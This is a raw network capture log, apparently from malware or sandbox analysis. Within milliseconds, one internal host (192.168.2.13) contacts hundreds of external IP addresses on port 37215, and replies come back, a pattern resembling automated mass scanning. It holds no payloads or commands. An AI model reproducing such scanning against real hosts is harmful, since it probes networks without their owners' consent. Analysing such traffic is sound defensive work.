Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	197.188.204.12
Dec 30, 2024 11:58:10.569047928 CET	14099	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:10.569045067 CET	14099	37215	192.168.2.13	197.109.36.50
Dec 30, 2024 11:58:10.569047928 CET	14099	37215	192.168.2.13	197.94.136.42
Dec 30, 2024 11:58:10.569051981 CET	14099	37215	192.168.2.13	41.18.86.132
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	156.38.138.118
Dec 30, 2024 11:58:10.569045067 CET	14099	37215	192.168.2.13	156.141.23.114
Dec 30, 2024 11:58:10.569051981 CET	14099	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:10.569047928 CET	14099	37215	192.168.2.13	156.176.132.126
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	156.88.218.113
Dec 30, 2024 11:58:10.569047928 CET	14099	37215	192.168.2.13	197.240.89.164
Dec 30, 2024 11:58:10.569042921 CET	14099	37215	192.168.2.13	197.92.59.248
Dec 30, 2024 11:58:10.569068909 CET	14099	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:10.569068909 CET	14099	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:10.569075108 CET	14099	37215	192.168.2.13	41.146.12.227
Dec 30, 2024 11:58:10.569093943 CET	14099	37215	192.168.2.13	156.209.225.158
Dec 30, 2024 11:58:10.569098949 CET	14099	37215	192.168.2.13	41.106.254.125
Dec 30, 2024 11:58:10.569103956 CET	14099	37215	192.168.2.13	41.235.222.217
Dec 30, 2024 11:58:10.569117069 CET	14099	37215	192.168.2.13	41.92.28.226
Dec 30, 2024 11:58:10.569117069 CET	14099	37215	192.168.2.13	156.61.136.28
Dec 30, 2024 11:58:10.569122076 CET	14099	37215	192.168.2.13	197.160.247.104
Dec 30, 2024 11:58:10.569123030 CET	14099	37215	192.168.2.13	197.25.188.200
Dec 30, 2024 11:58:10.569123030 CET	14099	37215	192.168.2.13	156.149.165.219
Dec 30, 2024 11:58:10.573523045 CET	37215	14099	197.192.128.53	192.168.2.13
Dec 30, 2024 11:58:10.573538065 CET	37215	14099	156.191.93.237	192.168.2.13
Dec 30, 2024 11:58:10.573548079 CET	37215	14099	41.55.65.172	192.168.2.13
Dec 30, 2024 11:58:10.573558092 CET	37215	14099	156.18.92.110	192.168.2.13
Dec 30, 2024 11:58:10.573606968 CET	14099	37215	192.168.2.13	156.191.93.237
Dec 30, 2024 11:58:10.573609114 CET	14099	37215	192.168.2.13	197.192.128.53
Dec 30, 2024 11:58:10.573622942 CET	14099	37215	192.168.2.13	41.55.65.172
Dec 30, 2024 11:58:10.573622942 CET	14099	37215	192.168.2.13	156.18.92.110
Dec 30, 2024 11:58:10.573815107 CET	37215	14099	156.101.247.130	192.168.2.13
Dec 30, 2024 11:58:10.573826075 CET	37215	14099	156.109.241.42	192.168.2.13
Dec 30, 2024 11:58:10.573834896 CET	37215	14099	197.246.49.5	192.168.2.13
Dec 30, 2024 11:58:10.573844910 CET	37215	14099	197.249.88.69	192.168.2.13
Dec 30, 2024 11:58:10.573867083 CET	14099	37215	192.168.2.13	156.101.247.130
Dec 30, 2024 11:58:10.573879004 CET	14099	37215	192.168.2.13	156.109.241.42
Dec 30, 2024 11:58:10.573894024 CET	14099	37215	192.168.2.13	197.246.49.5
Dec 30, 2024 11:58:10.573894024 CET	14099	37215	192.168.2.13	197.249.88.69
Dec 30, 2024 11:58:10.573905945 CET	37215	14099	41.79.84.105	192.168.2.13
Dec 30, 2024 11:58:10.573916912 CET	37215	14099	197.64.75.204	192.168.2.13
Dec 30, 2024 11:58:10.573925972 CET	37215	14099	156.169.191.215	192.168.2.13
Dec 30, 2024 11:58:10.573935986 CET	37215	14099	41.193.220.200	192.168.2.13
Dec 30, 2024 11:58:10.573945045 CET	37215	14099	197.98.22.62	192.168.2.13
Dec 30, 2024 11:58:10.573951960 CET	14099	37215	192.168.2.13	41.79.84.105
Dec 30, 2024 11:58:10.573955059 CET	37215	14099	197.79.198.39	192.168.2.13
Dec 30, 2024 11:58:10.573965073 CET	37215	14099	156.116.39.200	192.168.2.13
Dec 30, 2024 11:58:10.573965073 CET	14099	37215	192.168.2.13	197.64.75.204
Dec 30, 2024 11:58:10.573965073 CET	14099	37215	192.168.2.13	156.169.191.215
Dec 30, 2024 11:58:10.573965073 CET	14099	37215	192.168.2.13	41.193.220.200
Dec 30, 2024 11:58:10.573975086 CET	37215	14099	41.224.93.220	192.168.2.13
Dec 30, 2024 11:58:10.573981047 CET	14099	37215	192.168.2.13	197.98.22.62
Dec 30, 2024 11:58:10.573985100 CET	37215	14099	197.163.40.97	192.168.2.13
Dec 30, 2024 11:58:10.573993921 CET	37215	14099	197.38.231.199	192.168.2.13
Dec 30, 2024 11:58:10.573997021 CET	14099	37215	192.168.2.13	197.79.198.39
Dec 30, 2024 11:58:10.573997021 CET	14099	37215	192.168.2.13	156.116.39.200
Dec 30, 2024 11:58:10.574002981 CET	37215	14099	41.74.164.208	192.168.2.13
Dec 30, 2024 11:58:10.574013948 CET	37215	14099	197.60.116.58	192.168.2.13
Dec 30, 2024 11:58:10.574014902 CET	14099	37215	192.168.2.13	41.224.93.220
Dec 30, 2024 11:58:10.574014902 CET	14099	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:10.574023962 CET	37215	14099	156.247.235.165	192.168.2.13
Dec 30, 2024 11:58:10.574033022 CET	37215	14099	197.24.201.80	192.168.2.13
Dec 30, 2024 11:58:10.574040890 CET	37215	14099	41.108.183.127	192.168.2.13
Dec 30, 2024 11:58:10.574040890 CET	14099	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:10.574040890 CET	14099	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:10.574050903 CET	37215	14099	41.34.96.228	192.168.2.13
Dec 30, 2024 11:58:10.574055910 CET	14099	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:10.574057102 CET	14099	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:10.574060917 CET	37215	14099	41.214.248.109	192.168.2.13
Dec 30, 2024 11:58:10.574071884 CET	37215	14099	156.68.68.240	192.168.2.13
Dec 30, 2024 11:58:10.574073076 CET	14099	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:10.574073076 CET	14099	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:10.574080944 CET	37215	14099	156.101.11.103	192.168.2.13
Dec 30, 2024 11:58:10.574090004 CET	37215	14099	41.26.212.241	192.168.2.13
Dec 30, 2024 11:58:10.574100018 CET	37215	14099	197.124.218.69	192.168.2.13
Dec 30, 2024 11:58:10.574104071 CET	14099	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:10.574104071 CET	14099	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:10.574109077 CET	14099	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:10.574109077 CET	37215	14099	156.244.154.48	192.168.2.13
Dec 30, 2024 11:58:10.574119091 CET	14099	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:10.574120045 CET	37215	14099	41.200.70.248	192.168.2.13
Dec 30, 2024 11:58:10.574131012 CET	37215	14099	41.206.210.106	192.168.2.13
Dec 30, 2024 11:58:10.574142933 CET	14099	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:10.574142933 CET	14099	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:10.574151993 CET	14099	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:10.574152946 CET	14099	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:10.574171066 CET	14099	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:10.574317932 CET	37215	14099	197.142.229.57	192.168.2.13
Dec 30, 2024 11:58:10.574328899 CET	37215	14099	197.54.40.227	192.168.2.13
Dec 30, 2024 11:58:10.574337959 CET	37215	14099	41.188.197.53	192.168.2.13
Dec 30, 2024 11:58:10.574348927 CET	37215	14099	197.240.32.99	192.168.2.13
Dec 30, 2024 11:58:10.574357986 CET	37215	14099	156.21.249.218	192.168.2.13
Dec 30, 2024 11:58:10.574358940 CET	14099	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:10.574358940 CET	14099	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:10.574368000 CET	37215	14099	41.117.136.128	192.168.2.13
Dec 30, 2024 11:58:10.574371099 CET	14099	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:10.574371099 CET	14099	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:10.574378967 CET	37215	14099	197.177.99.168	192.168.2.13
Dec 30, 2024 11:58:10.574388027 CET	37215	14099	197.9.236.17	192.168.2.13
Dec 30, 2024 11:58:10.574393034 CET	14099	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:10.574398041 CET	37215	14099	156.192.234.226	192.168.2.13
Dec 30, 2024 11:58:10.574407101 CET	37215	14099	197.240.74.165	192.168.2.13
Dec 30, 2024 11:58:10.574409962 CET	14099	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:10.574409962 CET	14099	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:10.574415922 CET	37215	14099	156.129.228.150	192.168.2.13
Dec 30, 2024 11:58:10.574425936 CET	37215	14099	197.171.72.135	192.168.2.13
Dec 30, 2024 11:58:10.574434042 CET	37215	14099	156.7.148.95	192.168.2.13
Dec 30, 2024 11:58:10.574443102 CET	37215	14099	197.61.151.147	192.168.2.13
Dec 30, 2024 11:58:10.574450970 CET	14099	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:10.574451923 CET	14099	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:10.574451923 CET	14099	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:10.574453115 CET	37215	14099	156.130.26.19	192.168.2.13
Dec 30, 2024 11:58:10.574462891 CET	37215	14099	156.0.240.208	192.168.2.13
Dec 30, 2024 11:58:10.574467897 CET	14099	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:10.574472904 CET	37215	14099	156.209.217.158	192.168.2.13
Dec 30, 2024 11:58:10.574480057 CET	14099	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:10.574480057 CET	14099	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:10.574481010 CET	14099	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:10.574484110 CET	37215	14099	156.175.150.37	192.168.2.13
Dec 30, 2024 11:58:10.574486971 CET	14099	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:10.574493885 CET	37215	14099	197.36.89.140	192.168.2.13
Dec 30, 2024 11:58:10.574496031 CET	14099	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:10.574500084 CET	14099	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:10.574503899 CET	37215	14099	197.211.16.173	192.168.2.13
Dec 30, 2024 11:58:10.574515104 CET	14099	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:10.574517012 CET	37215	14099	41.195.253.254	192.168.2.13
Dec 30, 2024 11:58:10.574527025 CET	37215	14099	197.102.24.126	192.168.2.13
Dec 30, 2024 11:58:10.574528933 CET	14099	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:10.574536085 CET	37215	14099	156.220.73.34	192.168.2.13
Dec 30, 2024 11:58:10.574542046 CET	14099	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:10.574548960 CET	37215	14099	156.201.245.6	192.168.2.13
Dec 30, 2024 11:58:10.574559927 CET	37215	14099	197.195.57.53	192.168.2.13
Dec 30, 2024 11:58:10.574568033 CET	37215	14099	156.131.101.202	192.168.2.13
Dec 30, 2024 11:58:10.574563980 CET	14099	37215	192.168.2.13	197.102.24.126
Dec 30, 2024 11:58:10.574563980 CET	14099	37215	192.168.2.13	156.220.73.34
Dec 30, 2024 11:58:10.574570894 CET	14099	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:10.574579000 CET	37215	14099	156.184.181.194	192.168.2.13
Dec 30, 2024 11:58:10.574589014 CET	37215	14099	41.245.134.247	192.168.2.13
Dec 30, 2024 11:58:10.574594021 CET	14099	37215	192.168.2.13	156.201.245.6
Dec 30, 2024 11:58:10.574594021 CET	14099	37215	192.168.2.13	156.131.101.202
Dec 30, 2024 11:58:10.574598074 CET	14099	37215	192.168.2.13	197.195.57.53
Dec 30, 2024 11:58:10.574620008 CET	14099	37215	192.168.2.13	156.184.181.194
Dec 30, 2024 11:58:10.574635029 CET	14099	37215	192.168.2.13	41.245.134.247
Dec 30, 2024 11:58:10.574748039 CET	37215	14099	197.39.32.108	192.168.2.13
Dec 30, 2024 11:58:10.574758053 CET	37215	14099	156.244.77.93	192.168.2.13
Dec 30, 2024 11:58:10.574767113 CET	37215	14099	41.50.141.94	192.168.2.13
Dec 30, 2024 11:58:10.574775934 CET	37215	14099	197.210.230.82	192.168.2.13
Dec 30, 2024 11:58:10.574784994 CET	37215	14099	41.171.127.49	192.168.2.13
Dec 30, 2024 11:58:10.574790955 CET	14099	37215	192.168.2.13	197.39.32.108
Dec 30, 2024 11:58:10.574790955 CET	14099	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:10.574794054 CET	37215	14099	156.95.34.112	192.168.2.13
Dec 30, 2024 11:58:10.574805021 CET	37215	14099	156.207.249.17	192.168.2.13
Dec 30, 2024 11:58:10.574810028 CET	14099	37215	192.168.2.13	197.210.230.82
Dec 30, 2024 11:58:10.574815035 CET	37215	14099	197.238.194.223	192.168.2.13
Dec 30, 2024 11:58:10.574816942 CET	14099	37215	192.168.2.13	41.171.127.49
Dec 30, 2024 11:58:10.574819088 CET	14099	37215	192.168.2.13	156.95.34.112
Dec 30, 2024 11:58:10.574821949 CET	14099	37215	192.168.2.13	41.50.141.94
Dec 30, 2024 11:58:10.574825048 CET	37215	14099	156.106.104.75	192.168.2.13
Dec 30, 2024 11:58:10.574836016 CET	37215	14099	156.149.182.191	192.168.2.13
Dec 30, 2024 11:58:10.574843884 CET	14099	37215	192.168.2.13	156.207.249.17
Dec 30, 2024 11:58:10.574845076 CET	37215	14099	156.13.108.190	192.168.2.13
Dec 30, 2024 11:58:10.574855089 CET	37215	14099	197.89.105.33	192.168.2.13
Dec 30, 2024 11:58:10.574855089 CET	14099	37215	192.168.2.13	197.238.194.223
Dec 30, 2024 11:58:10.574865103 CET	37215	14099	41.149.131.230	192.168.2.13
Dec 30, 2024 11:58:10.574867964 CET	14099	37215	192.168.2.13	156.106.104.75
Dec 30, 2024 11:58:10.574867964 CET	14099	37215	192.168.2.13	156.149.182.191
Dec 30, 2024 11:58:10.574867964 CET	14099	37215	192.168.2.13	156.13.108.190
Dec 30, 2024 11:58:10.574876070 CET	37215	14099	41.44.163.240	192.168.2.13
Dec 30, 2024 11:58:10.574887037 CET	37215	14099	197.207.205.126	192.168.2.13
Dec 30, 2024 11:58:10.574892044 CET	14099	37215	192.168.2.13	197.89.105.33
Dec 30, 2024 11:58:10.574896097 CET	37215	14099	156.13.189.108	192.168.2.13
Dec 30, 2024 11:58:10.574906111 CET	14099	37215	192.168.2.13	41.44.163.240
Dec 30, 2024 11:58:10.574906111 CET	37215	14099	197.184.115.105	192.168.2.13
Dec 30, 2024 11:58:10.574912071 CET	14099	37215	192.168.2.13	41.149.131.230
Dec 30, 2024 11:58:10.574912071 CET	14099	37215	192.168.2.13	197.207.205.126
Dec 30, 2024 11:58:10.574918032 CET	37215	14099	197.107.33.31	192.168.2.13
Dec 30, 2024 11:58:10.574929953 CET	37215	14099	41.86.123.62	192.168.2.13
Dec 30, 2024 11:58:10.574937105 CET	14099	37215	192.168.2.13	156.13.189.108
Dec 30, 2024 11:58:10.574939966 CET	37215	14099	156.46.182.195	192.168.2.13
Dec 30, 2024 11:58:10.574940920 CET	14099	37215	192.168.2.13	197.184.115.105
Dec 30, 2024 11:58:10.574949980 CET	37215	14099	41.26.102.197	192.168.2.13
Dec 30, 2024 11:58:10.574953079 CET	14099	37215	192.168.2.13	197.107.33.31
Dec 30, 2024 11:58:10.574959993 CET	37215	14099	197.200.79.39	192.168.2.13
Dec 30, 2024 11:58:10.574968100 CET	14099	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:10.574970961 CET	37215	14099	197.92.141.107	192.168.2.13
Dec 30, 2024 11:58:10.574976921 CET	14099	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:10.574982882 CET	37215	14099	41.237.172.11	192.168.2.13
Dec 30, 2024 11:58:10.574991941 CET	37215	14099	197.93.238.54	192.168.2.13
Dec 30, 2024 11:58:10.574997902 CET	14099	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:10.574997902 CET	14099	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:10.575001955 CET	14099	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:10.575001955 CET	37215	14099	156.6.89.61	192.168.2.13
Dec 30, 2024 11:58:10.575012922 CET	14099	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:10.575015068 CET	37215	14099	156.187.73.58	192.168.2.13
Dec 30, 2024 11:58:10.575023890 CET	37215	14099	156.138.243.154	192.168.2.13
Dec 30, 2024 11:58:10.575030088 CET	14099	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:10.575037003 CET	14099	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:10.575041056 CET	14099	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:10.575063944 CET	14099	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:10.575181007 CET	37215	14099	197.189.135.34	192.168.2.13
Dec 30, 2024 11:58:10.575191021 CET	37215	14099	41.237.37.41	192.168.2.13
Dec 30, 2024 11:58:10.575200081 CET	37215	14099	197.48.134.189	192.168.2.13
Dec 30, 2024 11:58:10.575210094 CET	37215	14099	41.210.149.51	192.168.2.13
Dec 30, 2024 11:58:10.575218916 CET	37215	14099	156.250.109.59	192.168.2.13
Dec 30, 2024 11:58:10.575218916 CET	14099	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:10.575221062 CET	14099	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:10.575228930 CET	37215	14099	41.141.148.233	192.168.2.13
Dec 30, 2024 11:58:10.575233936 CET	14099	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:10.575233936 CET	14099	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:10.575238943 CET	37215	14099	156.106.7.164	192.168.2.13
Dec 30, 2024 11:58:10.575248957 CET	37215	14099	197.167.251.9	192.168.2.13
Dec 30, 2024 11:58:10.575258017 CET	37215	14099	156.62.208.247	192.168.2.13
Dec 30, 2024 11:58:10.575262070 CET	14099	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:10.575267076 CET	37215	14099	156.1.25.74	192.168.2.13
Dec 30, 2024 11:58:10.575273037 CET	14099	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:10.575273991 CET	14099	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:10.575278997 CET	37215	14099	41.230.55.212	192.168.2.13
Dec 30, 2024 11:58:10.575287104 CET	14099	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:10.575289965 CET	37215	14099	197.72.57.111	192.168.2.13
Dec 30, 2024 11:58:10.575290918 CET	14099	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:10.575297117 CET	14099	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:10.575299978 CET	37215	14099	156.37.37.254	192.168.2.13
Dec 30, 2024 11:58:10.575306892 CET	14099	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:10.575309038 CET	37215	14099	156.182.174.2	192.168.2.13
Dec 30, 2024 11:58:10.575320959 CET	37215	14099	41.25.20.213	192.168.2.13
Dec 30, 2024 11:58:10.575329065 CET	37215	14099	156.169.69.193	192.168.2.13
Dec 30, 2024 11:58:10.575330973 CET	14099	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:10.575339079 CET	37215	14099	197.98.70.25	192.168.2.13
Dec 30, 2024 11:58:10.575347900 CET	37215	14099	41.138.140.167	192.168.2.13
Dec 30, 2024 11:58:10.575347900 CET	14099	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:10.575357914 CET	14099	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:10.575357914 CET	14099	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:10.575360060 CET	37215	14099	197.233.170.178	192.168.2.13
Dec 30, 2024 11:58:10.575362921 CET	14099	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:10.575366974 CET	14099	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:10.575370073 CET	37215	14099	156.57.133.109	192.168.2.13
Dec 30, 2024 11:58:10.575380087 CET	14099	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:10.575380087 CET	37215	14099	197.40.169.168	192.168.2.13
Dec 30, 2024 11:58:10.575390100 CET	37215	14099	197.208.52.207	192.168.2.13
Dec 30, 2024 11:58:10.575397015 CET	14099	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:10.575398922 CET	37215	14099	41.20.164.130	192.168.2.13
Dec 30, 2024 11:58:10.575398922 CET	14099	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:10.575408936 CET	37215	14099	197.40.63.23	192.168.2.13
Dec 30, 2024 11:58:10.575417995 CET	37215	14099	197.140.83.173	192.168.2.13
Dec 30, 2024 11:58:10.575423956 CET	14099	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:10.575426102 CET	14099	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:10.575427055 CET	37215	14099	156.120.92.46	192.168.2.13
Dec 30, 2024 11:58:10.575436115 CET	37215	14099	41.188.10.23	192.168.2.13
Dec 30, 2024 11:58:10.575438976 CET	14099	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:10.575445890 CET	14099	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:10.575445890 CET	37215	14099	197.238.132.137	192.168.2.13
Dec 30, 2024 11:58:10.575468063 CET	14099	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:10.575475931 CET	14099	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:10.575483084 CET	14099	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:10.575484037 CET	14099	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:10.575632095 CET	37215	14099	41.182.67.190	192.168.2.13
Dec 30, 2024 11:58:10.575651884 CET	37215	14099	197.83.90.105	192.168.2.13
Dec 30, 2024 11:58:10.575665951 CET	37215	14099	197.32.32.76	192.168.2.13
Dec 30, 2024 11:58:10.575669050 CET	14099	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:10.575675011 CET	37215	14099	156.7.96.98	192.168.2.13
Dec 30, 2024 11:58:10.575686932 CET	37215	14099	156.19.18.216	192.168.2.13
Dec 30, 2024 11:58:10.575697899 CET	37215	14099	156.202.105.35	192.168.2.13
Dec 30, 2024 11:58:10.575701952 CET	14099	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:10.575707912 CET	14099	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:10.575707912 CET	37215	14099	41.112.191.5	192.168.2.13
Dec 30, 2024 11:58:10.575707912 CET	14099	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:10.575719118 CET	37215	14099	197.246.218.73	192.168.2.13
Dec 30, 2024 11:58:10.575722933 CET	14099	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:10.575726986 CET	37215	14099	41.125.226.78	192.168.2.13
Dec 30, 2024 11:58:10.575727940 CET	14099	37215	192.168.2.13	156.202.105.35
Dec 30, 2024 11:58:10.575736046 CET	37215	14099	197.250.0.238	192.168.2.13
Dec 30, 2024 11:58:10.575745106 CET	37215	14099	156.17.174.6	192.168.2.13
Dec 30, 2024 11:58:10.575751066 CET	14099	37215	192.168.2.13	41.112.191.5
Dec 30, 2024 11:58:10.575751066 CET	14099	37215	192.168.2.13	197.246.218.73
Dec 30, 2024 11:58:10.575754881 CET	37215	14099	41.34.225.183	192.168.2.13
Dec 30, 2024 11:58:10.575762987 CET	14099	37215	192.168.2.13	41.125.226.78
Dec 30, 2024 11:58:10.575763941 CET	37215	14099	41.18.86.132	192.168.2.13
Dec 30, 2024 11:58:10.575768948 CET	14099	37215	192.168.2.13	197.250.0.238
Dec 30, 2024 11:58:10.575768948 CET	14099	37215	192.168.2.13	156.17.174.6
Dec 30, 2024 11:58:10.575774908 CET	37215	14099	41.29.41.169	192.168.2.13
Dec 30, 2024 11:58:10.575783968 CET	37215	14099	156.26.178.209	192.168.2.13
Dec 30, 2024 11:58:10.575786114 CET	14099	37215	192.168.2.13	41.34.225.183
Dec 30, 2024 11:58:10.575793028 CET	37215	14099	41.97.207.38	192.168.2.13
Dec 30, 2024 11:58:10.575802088 CET	37215	14099	41.60.254.232	192.168.2.13
Dec 30, 2024 11:58:10.575809956 CET	14099	37215	192.168.2.13	41.29.41.169
Dec 30, 2024 11:58:10.575809956 CET	14099	37215	192.168.2.13	41.18.86.132
Dec 30, 2024 11:58:10.575810909 CET	37215	14099	41.128.29.173	192.168.2.13
Dec 30, 2024 11:58:10.575813055 CET	14099	37215	192.168.2.13	156.26.178.209
Dec 30, 2024 11:58:10.575820923 CET	37215	14099	197.109.36.50	192.168.2.13
Dec 30, 2024 11:58:10.575828075 CET	14099	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:10.575829983 CET	37215	14099	197.54.249.204	192.168.2.13
Dec 30, 2024 11:58:10.575846910 CET	14099	37215	192.168.2.13	41.60.254.232
Dec 30, 2024 11:58:10.575846910 CET	14099	37215	192.168.2.13	41.128.29.173
Dec 30, 2024 11:58:10.575849056 CET	37215	14099	156.141.23.114	192.168.2.13
Dec 30, 2024 11:58:10.575858116 CET	37215	14099	156.180.119.226	192.168.2.13
Dec 30, 2024 11:58:10.575865984 CET	14099	37215	192.168.2.13	197.109.36.50
Dec 30, 2024 11:58:10.575867891 CET	37215	14099	197.144.183.161	192.168.2.13
Dec 30, 2024 11:58:10.575870037 CET	14099	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:10.575872898 CET	14099	37215	192.168.2.13	156.141.23.114
Dec 30, 2024 11:58:10.575879097 CET	37215	14099	156.126.95.206	192.168.2.13
Dec 30, 2024 11:58:10.575889111 CET	37215	14099	156.59.224.18	192.168.2.13
Dec 30, 2024 11:58:10.575889111 CET	14099	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:10.575897932 CET	37215	14099	41.189.121.217	192.168.2.13
Dec 30, 2024 11:58:10.575906038 CET	37215	14099	197.35.235.54	192.168.2.13
Dec 30, 2024 11:58:10.575908899 CET	14099	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:10.575912952 CET	14099	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:10.575916052 CET	37215	14099	197.188.204.12	192.168.2.13
Dec 30, 2024 11:58:10.575922966 CET	14099	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:10.575933933 CET	14099	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:10.575939894 CET	14099	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:10.575948000 CET	14099	37215	192.168.2.13	197.188.204.12
Dec 30, 2024 11:58:10.575988054 CET	37215	14099	197.94.136.42	192.168.2.13
Dec 30, 2024 11:58:10.575998068 CET	37215	14099	41.146.12.227	192.168.2.13
Dec 30, 2024 11:58:10.576005936 CET	37215	14099	156.38.138.118	192.168.2.13
Dec 30, 2024 11:58:10.576015949 CET	37215	14099	156.209.225.158	192.168.2.13
Dec 30, 2024 11:58:10.576025009 CET	37215	14099	156.88.218.113	192.168.2.13
Dec 30, 2024 11:58:10.576028109 CET	14099	37215	192.168.2.13	197.94.136.42
Dec 30, 2024 11:58:10.576031923 CET	14099	37215	192.168.2.13	41.146.12.227
Dec 30, 2024 11:58:10.576034069 CET	37215	14099	156.176.132.126	192.168.2.13
Dec 30, 2024 11:58:10.576036930 CET	14099	37215	192.168.2.13	156.38.138.118
Dec 30, 2024 11:58:10.576042891 CET	37215	14099	41.106.254.125	192.168.2.13
Dec 30, 2024 11:58:10.576052904 CET	14099	37215	192.168.2.13	156.209.225.158
Dec 30, 2024 11:58:10.576052904 CET	37215	14099	197.92.59.248	192.168.2.13
Dec 30, 2024 11:58:10.576056957 CET	14099	37215	192.168.2.13	156.88.218.113
Dec 30, 2024 11:58:10.576065063 CET	37215	14099	41.235.222.217	192.168.2.13
Dec 30, 2024 11:58:10.576073885 CET	37215	14099	197.240.89.164	192.168.2.13
Dec 30, 2024 11:58:10.576080084 CET	14099	37215	192.168.2.13	41.106.254.125
Dec 30, 2024 11:58:10.576083899 CET	37215	14099	41.177.76.91	192.168.2.13
Dec 30, 2024 11:58:10.576087952 CET	14099	37215	192.168.2.13	156.176.132.126
Dec 30, 2024 11:58:10.576091051 CET	14099	37215	192.168.2.13	197.92.59.248
Dec 30, 2024 11:58:10.576093912 CET	37215	14099	41.92.28.226	192.168.2.13
Dec 30, 2024 11:58:10.576103926 CET	14099	37215	192.168.2.13	41.235.222.217
Dec 30, 2024 11:58:10.576103926 CET	37215	14099	156.61.136.28	192.168.2.13
